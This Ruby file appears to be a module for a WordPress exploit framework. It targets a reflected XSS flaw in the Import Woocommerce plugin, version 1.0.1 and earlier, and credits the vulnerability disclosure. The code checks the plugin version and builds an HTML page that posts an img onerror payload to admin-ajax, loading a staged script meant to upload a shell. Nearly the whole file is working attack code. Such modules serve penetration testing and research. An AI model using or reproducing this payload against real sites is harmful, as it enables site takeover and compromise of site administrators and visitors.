# frozen_string_literal: true

class Wpxf::Exploit::ImportWoocommerceReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Import Woocommerce <= 1.0.1 Reflected XSS Shell Upload',
      author: [
        'Rahul Pratap Singh', # Disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['WPVDB', '8397'],
        ['URL', 'https://0x62626262.wordpress.com/2016/02/24/import-woocommerce-xss-vulnerability/']
      ],
      date: 'Feb 24 2016'
    )
  end

  def check
    check_plugin_version_from_readme('import-woocommerce', '1.1')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{wordpress_url_admin_ajax}', {
        action: 'translate_alertstr',
        alertmsg: "\\"><img src=x onerror=#{xss_ascii_encoded_include_script}>"
      });
    </script></body></html>
    |
  end
end
